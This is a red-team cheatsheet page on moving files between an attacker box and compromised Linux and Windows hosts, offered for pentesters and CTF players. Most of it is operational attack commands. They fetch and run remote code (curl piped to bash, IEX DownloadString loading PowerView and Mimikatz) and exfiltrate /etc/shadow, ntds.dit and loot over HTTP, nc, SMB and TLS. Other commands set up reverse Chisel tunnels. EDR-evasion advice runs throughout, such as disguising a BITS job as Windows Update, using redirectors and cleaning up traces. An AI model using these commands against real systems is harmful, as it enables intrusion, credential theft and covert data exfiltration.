asbawy:~/cheatsheet$ explorer .

/cheatsheet — quick_ref

Field-tested commands, payloads, and shortcuts — all in one place.

cheatsheet_explorer/Tools/file-transfer-techniques
~Toolsfile-transfer-techniques.mdx

File Transfer Techniques

created: 2026-07-09·verified: 2026-07-09·tools·15 mins·diff: intermediate
red-teampentestingfile-transferopsecwindowslinuxctf

// Cheatsheet for moving files across Linux, Windows, restricted shells, and inspected networks. Built for CTF players, bug bounty hunters, and internal pentesters.

File Transfer Techniques

Moving tools, loot, and implants between machines is one of the most repetitive — and most detection-prone — activities on an engagement. A clean file transfer is often the difference between a quiet beachhead and a tripped EDR. This guide catalogues the techniques I reach for across Linux, Windows, restricted shells, and inspected networks, with an emphasis on living off the land, OPSEC, and fallback chains when your first option gets blocked.

Every technique here leaves artifacts: process logs, Sysmon EID 1/3/11, proxy logs, TLS JA3 hashes, SMB share mounts. Always assume the defender is logging. Prefer native binaries, encode when you must, and rotate methods when a transfer fails — a single failed certutil will often trip your first EDR rule.

Throughout this cheatsheet, the following IPs are used consistently:

  • 10.10.14.5 → Your Kali / attacker machine
  • 10.10.10.23 → The victim / target machine
  • 10.10.20.xInternal network hosts (reachable only through the victim)

Each code block that involves two or more machines includes a comment at the top reminding you which IP is which.

Linux-Based Transfers

Linux targets are usually the friendlier side of an engagement. You typically have a real shell, a curl/wget pair, and outbound network access — though egress filtering, break-glass proxies, and bastion jumps will constrain you. The techniques below progress from the trivial (curl) to tunneling through SSH when nothing else is open.

curl

curl is the swiss-army knife on most Linux hosts. Prefer it over wget when you need protocol flexibility (SMB, FTPS, GOPHER) or fine-grained header control.

~ / bash
# Basic GET, write the response body to disk
curl http://10.10.14.5/linpeas.sh --output /tmp/linpeas.sh

# Silent mode (-s) hides the progress bar; -S re-enables errors only.
# Useful when piping directly into bash for a one-liner dropper.
curl -sS http://10.10.14.5/shell.sh | bash

# Follow redirects (-L) — many redirector chains 301 to a CDN
curl -L -o /tmp/agent http://redirector.example.com/beacon

# Resume an interrupted transfer (HTTP Range header)
curl -C - -o /tmp/large.7z http://10.10.14.5/dump.7z

# Pin a specific User-Agent to blend with native tooling.
# Windows Update, GoogleBot, and curl's default are all noisy.
curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0" \
     http://10.10.14.5/implant -o /tmp/implant

# POST exfil: -X sets method, -d ships the body, -H sets content-type
curl -X POST http://10.10.14.5/loot \
     -H "Content-Type: application/octet-stream" \
     --data-binary @/etc/shadow

curl supports file://, gopher://, and dict:// out of the box. In SSRF chains these protocols are gold — gopher:// in particular lets you craft arbitrary TCP payloads against internal services (Redis, Memcached, internal SMTP).

wget

wget is older, recursive-friendly, and almost always present on minimal containers. It also tends to write less to the terminal by default, which matters over shaky shells.

~ / bash
# Default behavior: writes to the basename of the URL
wget http://10.10.14.5/notes.txt

# -O controls output path
wget http://10.10.14.5/notes.txt -O /tmp/notes.txt

# -q quiet, no progress; pair with -nv for minimal "name + size" output
wget -q http://10.10.14.5/agent -O /tmp/agent

# Mirror a directory listing — recurse (-r), no parent (-np), keep dirs (-nd off)
wget -r -np -nH --cut-dirs=2 -P /tmp/loot http://10.10.14.5/share/tools/

# Limit rate to stay under noisy-egress NIDS thresholds
wget --limit-rate=200k http://10.10.14.5/dump.tar -O /tmp/dump.tar

# Ignore a single broken cert (lab/dev only — never do this in production scope)
wget --no-check-certificate https://10.10.14.5/stage -O /tmp/stage

scp

scp is the workhorse when SSH is open and you have credentials or a key. It's simple, but the SCP protocol itself is legacy (SFTP-based transfers in OpenSSH 9+ are preferred under the hood).

~ / bash
# KALI_IP  = 10.10.14.5  (attacker)  |  VICTIM_IP = 10.10.10.23  (target)

# Push a file from your box to the victim
scp exploit.sh victim@10.10.10.23:/tmp/exploit.sh

# Push using an identity file (recovered SSH key, e.g. from /home/user/.ssh)
scp -i /home/kali/id_rsa exploit.sh victim@10.10.10.23:/tmp/exploit.sh

# Pull a file from victim back to your box (exfil)
scp victim@10.10.10.23:/tmp/passwords.txt /home/kali/passwords.txt

# Same, with an identity file
scp -i id_rsa victim@10.10.10.23:/tmp/passwords.txt /home/kali/passwords.txt

# Recursive directory transfer — handy for grabbing entire ~/.ssh or /var/backups
scp -r -i id_rsa victim@10.10.10.23:/var/backups /home/kali/backups/

# Non-default port (e.g. the SSH daemon is on 2222)
scp -P 2222 victim@10.10.10.23:/etc/passwd /home/kali/passwd

# Preserve timestamps/permissions — important when moving binaries
scp -p exploit.sh victim@10.10.10.23:/tmp/exploit.sh

rsync

rsync is scp with a brain: delta transfers, resume, exclude patterns, and SSH transport. It's the right tool for moving large or repeatedly-updated trees.

~ / bash
# KALI_IP  = 10.10.14.5  (attacker)  |  VICTIM_IP = 10.10.10.23  (target)

# Push a directory tree over SSH (note the trailing slash semantics)
# Trailing slash on source = "contents of"; no slash = "the dir itself"
rsync -avz ./implant/ victim@10.10.10.23:/tmp/implant/

# Pull a tree back
rsync -avz -e "ssh -i id_rsa" victim@10.10.10.23:/var/log/apache2/ ./loot/apache/

# Resume a large transfer with --partial; --inplace rewrites in-place
rsync -avz --partial --inplace ./dump.tar victim@10.10.10.23:/tmp/dump.tar

# Exclude noise — important when grabbing whole filesystems
rsync -avz --exclude='*.log' --exclude='/proc/*' --exclude='/sys/*' \
      victim@10.10.10.23:/ ./loot-fs/

# Use a non-default SSH port via -e
rsync -avz -e "ssh -p 2222" ./toolkit victim@10.10.10.23:/tmp/toolkit
FlagPurpose
-aarchive mode (recursive, preserve perms/owner/symlinks)
-vverbose
-zcompress during transfer
--partialkeep half-transferred files for resume
--inplaceupdate the destination file in-place (no temp + rename)
-especify the remote shell, including custom SSH flags

netcat and socat

When SSH isn't an option but a raw TCP socket is open, nc and socat give you a clean two-way pipe. They're noisy on the wire (cleartext TCP) but trivially reliable.

Receiving on attacker, sending from victim

~ / bash
# KALI_IP  = 10.10.14.5  (attacker)  |  VICTIM_IP = 10.10.10.23  (target)

# Attacker (listener) — writes incoming bytes to loot.tar.gz
nc -lnvp 4444 > loot.tar.gz

# Victim — pipes the file into nc pointed at attacker
cat /tmp/loot.tar.gz | nc 10.10.14.5 4444

# Same, but with a deadline so the connection cleanly closes once the file ends
cat /tmp/loot.tar.gz | nc -q 1 10.10.14.5 4444

Sending from attacker, receiving on victim (push a tool in)

~ / bash
# KALI_IP  = 10.10.14.5  (attacker)  |  VICTIM_IP = 10.10.10.23  (target)

# Victim (listener) — saves incoming bytes to ./implant
nc -lnvp 4444 > /tmp/implant

# Attacker — pushes the file
nc 10.10.10.23 4444 < ./implant

socat — encrypted and more robust

socat is nc with superpowers. You get TLS, fine-grained buffering, and fork modes for multi-connection listeners.

~ / bash
# KALI_IP  = 10.10.14.5  (attacker)  |  VICTIM_IP = 10.10.10.23  (target)

# Victim → Attacker, cleartext (functionally identical to nc)
socat TCP:10.10.14.5:4444 FILE:/tmp/loot.tar.gz

# Encrypted victim → attacker (see OpenSSL section for cert generation)
socat - OPENSSL:10.10.14.5:443,verify=0 < /tmp/loot.tar.gz

Windows-Based Transfers

On Windows you'll rarely have curl.exe pre-installed (though Windows 10 1803+ ships it). The default workflow is to use signed, native binaries that defenders have to allow — certutil, bitsadmin, PowerShell, and the SMB stack.

certutil.exe

certutil is a Microsoft-signed CA utility that happens to have a -urlcache mode which will happily fetch any URL and write it to disk. It is one of the most abused LotL binaries in existence.

~ / powershell
# Download a file from attacker HTTP server
certutil.exe -urlcache -split -f http://10.10.14.5/agent.exe C:\Windows\Temp\agent.exe

# Same, but to the default URL cache location (more OPSEC-noisy)
certutil.exe -urlcache -f http://10.10.14.5/payload.exe payload.exe

# Decode a base64-encoded file from a URL
certutil.exe -decode C:\Windows\Temp\payload.b64 C:\Windows\Temp\payload.exe

# Encode locally (useful for prep before staging on the attacker side)
certutil.exe -encode C:\Tools\implant.exe C:\Tools\implant.b64

certutil -urlcache -f is one of the most heavily signatured LotL patterns in existence. Defender for Endpoint, CrowdStrike, and SentinelOne all flag it by default. If you must use it:

  • Strip the .exe from your URL (e.g. /agent.jpg)
  • Use a redirector with a legitimate-looking User-Agent (certutil sends Microsoft-CryptoAPI/10.0)
  • Prefer -decode of a staged base64 blob over the direct URL fetch
  • Avoid entirely on EDR'd hosts. Move to PowerShell Net.WebClient or SMB.

bitsadmin

bitsadmin is the BITS (Background Intelligent Transfer Service) CLI. BITS runs as a service and queues transfers — meaning your download survives user logoff and is throttled based on network cost. It's slower than other methods but blends well with legitimate Windows Update traffic.

~ / powershell
# Create a transfer job, add a file, resume, complete
bitsadmin /transfer myjob http://10.10.14.5/agent.exe C:\Windows\Temp\agent.exe

# Multi-step version (gives you more control, including custom headers)
bitsadmin /create myjob
bitsadmin /addfile myjob http://10.10.14.5/agent.exe C:\Windows\Temp\agent.exe

# Optional: set a custom User-Agent and HTTP headers to blend in
bitsadmin /setcustomheaders myjob "User-Agent: Mozilla/5.0"
bitsadmin /setdescription myjob "Windows Update"

# Resume (state goes QUEUED → TRANSFERRING → TRANSFERRED)
bitsadmin /resume myjob

# Block until done, then clean up
bitsadmin /complete myjob

BITS is asynchronous — bitsadmin /transfer blocks, but /create + /addfile + /resume returns immediately. Use /info or /getstate to poll, and remember to call /complete or the job lingers in the queue (defender-visible via Get-BitsTransfer).

PowerShell

PowerShell is the most flexible native option and is present on every modern Windows host. The trade-off: Script Block Logging (EID 4104) and AMSI will see everything you run. Obfuscation is out of scope here — assume your commands are logged.

Invoke-WebRequest (alias iwr, curl, wget)

~ / powershell
# Basic download to disk
Invoke-WebRequest -Uri http://10.10.14.5/agent.exe -OutFile C:\Windows\Temp\agent.exe

# Aliases work too — these all behave the same in PS 5+
iwr http://10.10.14.5/agent.exe -OutFile agent.exe
curl http://10.10.14.5/agent.exe -OutFile agent.exe   # PS alias, NOT the real curl.exe

# In-memory execution — never touches disk, runs in current PowerShell process
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerView.ps1')

# Same idea, with IWR (.Content gets the raw string)
IEX (IWR http://10.10.14.5/Invoke-Mimikatz.ps1).Content

# Set a custom User-Agent (default PS UA is "Mozilla/5.0 (...) WindowsPowerShell/5.1")
Invoke-WebRequest -Uri http://10.10.14.5/agent.exe `
    -UserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" `
    -OutFile agent.exe

# Bypass self-signed cert errors (PowerShell 5+ default = strict)
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
Invoke-WebRequest -Uri https://10.10.14.5/stage -OutFile stage.exe

# POST exfil — ship a file's bytes as the body
Invoke-WebRequest -Uri http://10.10.14.5/exfil `
    -Method POST `
    -Body ([System.IO.File]::ReadAllBytes('C:\Users\admin\ntds.dit')) `
    -ContentType "application/octet-stream"

Net.WebClient — older, often less-instrumented than IWR

~ / powershell
# Download to disk
(New-Object Net.WebClient).DownloadFile('http://10.10.14.5/agent.exe', 'C:\Windows\Temp\agent.exe')

# Download string into memory (then IEX it for in-memory execution)
(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerView.ps1') | IEX

# Download data as a byte array — useful for manually writing to disk or memory
$bytes = (New-Object Net.WebClient).DownloadData('http://10.10.14.5/shellcode.bin')
[System.IO.File]::WriteAllBytes('C:\Windows\Temp\sc.bin', $bytes)

# Set a custom User-Agent
$wc = New-Object Net.WebClient
$wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64)')
$wc.DownloadFile('http://10.10.14.5/agent.exe', 'agent.exe')

# Use a non-default proxy (in enterprise environments — explicit proxy is common)
$wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy()
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
$wc.DownloadFile('http://10.10.14.5/agent.exe', 'agent.exe')

Both IEX and DownloadString feed content through AMSI before execution. On a fully-instrumented host, an unobfuscated Mimikatz download will be caught within milliseconds. If AMSI bypass isn't viable, prefer DownloadFile to disk + a separately-staged loader.

SMB File Transfers (Impacket's smbserver.py)

SMB is the protocol of locked-down AD environments. Domain-joined hosts already speak SMB to DCs for SYSVOL, Group Policy, and authentication — your transfer blends right in. The cleanest setup is smbserver.py from Impacket on your attacker box, then copy from the Windows side.

~ / bash
# KALI_IP  = 10.10.14.5  (attacker)  |  VICTIM_IP = 10.10.10.23  (target)

# Attacker — spin up an anonymous-read SMB share named "share"
# serving the current directory. bind to all interfaces.
impacket-smbserver share ./ -smb2support

# Better OPSEC: require a username/password (anonymous SMB is very noisy
# in Windows event logs — EID 4624 type 3 with NULL session is high-signal)
impacket-smbserver share ./ -smb2support -username offsec -password 'Sup3r!P@ss'

# Even better: serve over SMB2 only, on a non-standard port via a redirector
impacket-smbserver share ./ -smb2support -username offsec -password 'Sup3r!P@ss' -port 1445
~ / powershell
# KALI_IP  = 10.10.14.5  (attacker)  |  VICTIM_IP = 10.10.10.23  (target)

# Victim — mount the share (with creds matching the server above)
net use \\10.10.14.5\share /USER:offsec 'Sup3r!P@ss'

# Copy a file FROM attacker TO victim
copy \\10.10.14.5\share\agent.exe C:\Windows\Temp\agent.exe

# Copy a file FROM victim TO attacker (exfil)
copy C:\Users\admin\Desktop\secrets.txt \\10.10.14.5\share\loot\secrets.txt

# Unmount when done — leaves a cleaner trail
net use \\10.10.14.5\share /delete

# Anonymous read-only (matches the simpler smbserver invocation above)
copy \\10.10.14.5\share\agent.exe C:\Windows\Temp\agent.exe

Language-Specific One-Liners (Quick HTTP Servers)

When you've popped a shell on a host that has a Python, PHP, Ruby, or Perl interpreter but no web server, the fastest way to expose a directory for download is to spin up a tiny HTTP listener. Each of these serves the current directory on port 8000 (or wherever you point it).

Python 3

~ / bash
# The classic. Serves ./ on 0.0.0.0:8000
python3 -m http.server 8000

# Bind to a specific interface (good for not exposing to the whole VPN range)
python3 -m http.server 8000 --bind 10.10.14.5

# Serve from a different directory
python3 -m http.server 8000 --directory /home/kali/loot

# Python 2 (still found on legacy targets)
python -m SimpleHTTPServer 8000

The default http.server module sends a Server: SimpleHTTP/0.6 Python/3.x header and Content-Type guesses that are immediately recognizable in proxy logs. Defenders pivot on this header. If you need stealth, write a 20-line Flask/FastAPI server or proxy through nginx.

PHP

~ / bash
# Built-in PHP server — works great for serving small PHP exfil endpoints
php -S 0.0.0.0:8000

# From a specific directory
php -S 0.0.0.0:8000 -t /home/kali/loot
~ / php
<?php
// Or, drop this as exfil.php and POST file bytes to it:
file_put_contents('loot.bin', file_get_contents('php://input'));
echo "OK";

Ruby

~ / bash
# Single-file WEBrick server
ruby -run -e httpd . -p 8000

# Bind to a specific address
ruby -run -e httpd . -p 8000 -b 10.10.14.5

Perl

~ / bash
# One-liner using HTTP::Server::Simple (if installed)
perl -MHTTP::Server::Simple::CGI -e 'HTTP::Server::Simple::CGI->new(8000)->run'

# Pure-Perl back-to-basics — no modules, just listen + fork + print
# Serves ./ on port 8000. No MIME types, no chunked encoding — minimal but works.
perl -MIO::Socket::INET -e '
  $s = IO::Socket::INET->new(LocalAddr=>"0.0.0.0:8000", Listen=>5, Reuse=>1) or die $!;
  while ($c = $s->accept) {
    $req = <$c>;
    ($path) = $req =~ m{GET /(\S+)};
    $path ||= "index.html";
    if (-r $path) {
      open my $f, "<", $path;
      binmode $f;
      print $c "HTTP/1.0 200 OK\r\n\r\n", <$f>;
    } else {
      print $c "HTTP/1.0 404 Not Found\r\n\r\n";
    }
    close $c;
  }
'

Restricted Shells / No-Network Transfers

Sometimes the only channel you have is a clipboard, a web terminal, or a serial console with no networking at all. In these cases you fall back to encoding: pack the binary as base64 text, paste it through whatever channel you have, and decode it on the other side.

Base64 Round-Trip

On the attacker side — encode the file

~ / bash
# Encode a binary to base64 text, single line (good for paste buffers)
base64 -w 0 implant.exe > implant.b64

# Print it to the terminal for copy-paste
cat implant.b64

# If you're transferring a tarball of multiple files:
tar czf - ./tools/ | base64 -w 0 > tools.b64

On the victim (Linux) — decode it back

~ / bash
# Echo the base64 blob into base64 -d
echo 'f0VMRgIBAAA...' | base64 -d > /tmp/implant
chmod +x /tmp/implant

# Or write it to a file first (cleaner for large blobs — paste might wrap)
cat > /tmp/implant.b64 << 'EOF'
f0VMRgIBAAA...
EOF
base64 -d /tmp/implant.b64 > /tmp/implant
chmod +x /tmp/implant

On the victim (Windows / PowerShell) — decode it

~ / powershell
# Stage the base64 string into a variable, then decode to bytes
$b64 = 'TVqQAAMAAAAEAAAA...'
[IO.File]::WriteAllBytes('C:\Windows\Temp\agent.exe', [Convert]::FromBase64String($b64))

# Or read it from a file (if you staged it via clipboard to disk first)
$b64 = Get-Content C:\Windows\Temp\agent.b64 -Raw
[IO.File]::WriteAllBytes('C:\Windows\Temp\agent.exe', [Convert]::FromBase64String($b64))

On the victim (Windows / certutil — no PowerShell needed)

~ / cmd
certutil -decode C:\Windows\Temp\agent.b64 C:\Windows\Temp\agent.exe

Hex Encoding (when base64 isn't available)

On stripped appliances (busybox without base64), xxd or od can fill in.

~ / bash
# Attacker — encode as hex
xxd -p implant.exe | tr -d '\n' > implant.hex

# Victim (Linux) — decode
echo '4d5a90...' | xxd -r -p > /tmp/implant
chmod +x /tmp/implant

Encrypted / Evasive Transfers

Clear-text HTTP/SMB transfers are trivially inspectable. Even HTTPS can be blocked by TLS-intercepting proxies (and your C2 cert won't pass their trust store). The techniques below use end-to-end encryption you control — the proxy sees encrypted bytes it cannot MITM.

OpenSSL

OpenSSL's s_client / s_server pair gives you a poor-man's encrypted tunnel with no extra tooling. Generate a self-signed cert once, then use it for both directions.

One-time setup — generate a self-signed cert on the attacker

~ / bash
# Generates cert.pem and key.pem — both stay on the attacker side
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes \
    -subj "/CN=cdn.example.com"

Attacker — listen for encrypted transfer

~ / bash
# KALI_IP  = 10.10.14.5  (attacker)  |  VICTIM_IP = 10.10.10.23  (target)

# Receive a file from victim, encrypted in transit
openssl s_server -accept 443 -cert cert.pem -key key.pem -quiet > loot.tar.gz

# Send a file TO victim, encrypted in transit
openssl s_server -accept 443 -cert cert.pem -key key.pem -quiet < implant.exe

Victim — push file to attacker over TLS

~ / bash
# KALI_IP  = 10.10.14.5  (attacker)  |  VICTIM_IP = 10.10.10.23  (target)

# Verify=0 disables cert validation (we're using a self-signed cert).
# Don't ship verify=0 in production-credible infrastructure — but for an
# offensive transfer it's fine and expected.
cat /tmp/loot.tar.gz | openssl s_client -connect 10.10.14.5:443 -quiet

Victim — pull file from attacker over TLS

~ / bash
# KALI_IP  = 10.10.14.5  (attacker)  |  VICTIM_IP = 10.10.10.23  (target)

openssl s_client -connect 10.10.14.5:443 -quiet > /tmp/implant.exe

Chisel

Chisel is a single-binary TCP/UDP tunnel over WebSocket, with optional TLS. It's the modern replacement for ptunnel/ iodine/stunnel combos and is the first thing I reach for when only HTTPS (443) egress is allowed.

Attacker — run the server

~ / bash
# KALI_IP  = 10.10.14.5  (attacker)  |  VICTIM_IP = 10.10.10.23  (target)

# Plain WS, port 8000 (use this only in labs)
./chisel server -p 8000 --reverse

# With TLS — wrap WS in a self-signed cert. Pair with --auth for shared-secret.
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/CN=cdn.example.com"
./chisel server --tls-key key.pem --tls-cert cert.pem -p 8443 --reverse --auth offsec:Sup3rP@ss

Victim — run the client and bring up tunnels

~ / bash
# KALI_IP  = 10.10.14.5  (attacker)  |  VICTIM_IP = 10.10.10.23  (target)
# INTERNAL_IP = 10.10.20.5  (host behind the victim)

# Reverse SOCKS5 — proxy traffic OUT of the victim's network via the attacker
./chisel client --auth offsec:Sup3rP@ss https://10.10.14.5:8443 R:1080:socks

# Reverse port forward — expose victim's RDP on attacker's 3389
./chisel client --auth offsec:Sup3rP@ss https://10.10.14.5:8443 R:3389:127.0.0.1:3389

# Local port forward — forward a port ON the victim to an internal host
./chisel client --auth offsec:Sup3rP@ss https://10.10.14.5:8443 8080:10.10.20.5:80

# Combine many forwards in one client — single TLS session, multiple tunnels
./chisel client --auth offsec:Sup3rP@ss https://10.10.14.5:8443 \
    R:1080:socks \
    R:3389:127.0.0.1:3389 \
    8080:10.10.20.5:80

File transfer through a Chisel SOCKS proxy

Once the reverse SOCKS is up on 127.0.0.1:1080 of your attacker box, you can curl to internal hosts that were previously unreachable:

~ / bash
# KALI_IP  = 10.10.14.5  (attacker)  |  INTERNAL_IP = 10.10.20.5  (behind victim)

# Pull from an internal-only HTTP server through the SOCKS proxy
curl --socks5 127.0.0.1:1080 http://10.10.20.5/internal-doc.txt -o loot.txt

# Use proxychains for any tool that doesn't speak SOCKS natively
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
proxychains smbclient //10.10.20.5/c$ -U 'admin' -N

Closing OPSEC Notes

A few habits that have saved me more than once:

  • Rotate methods. Don't certutil your way through every host in a domain — once one transfer gets caught, every subsequent certutil invocation will be correlated.
  • Time your transfers. Align exfil windows with normal business-hour activity. A 2 AM SMB push to an unknown host is an instant anomaly.
  • Use redirectors. Your attacker IP should never appear in victim logs directly. Cloudflare, fastly, a cheap VPS with nginx in front — all work.
  • Test for breakage before relying on it. Many of these techniques have host-specific quirks (PowerShell Constrained Language Mode, AppLocker on certutil, SELinux denying nc bind). Have at least one fallback in each category.
  • Clean up. net use /delete, bitsadmin /complete, kill the http.server process, delete staged .b64 blobs. Persistence is great; sloppiness is not.

File transfer is infrastructure. The technique you pick matters less than the discipline of picking the right one for the environment you're in — and being ready to switch the moment the network pushes back.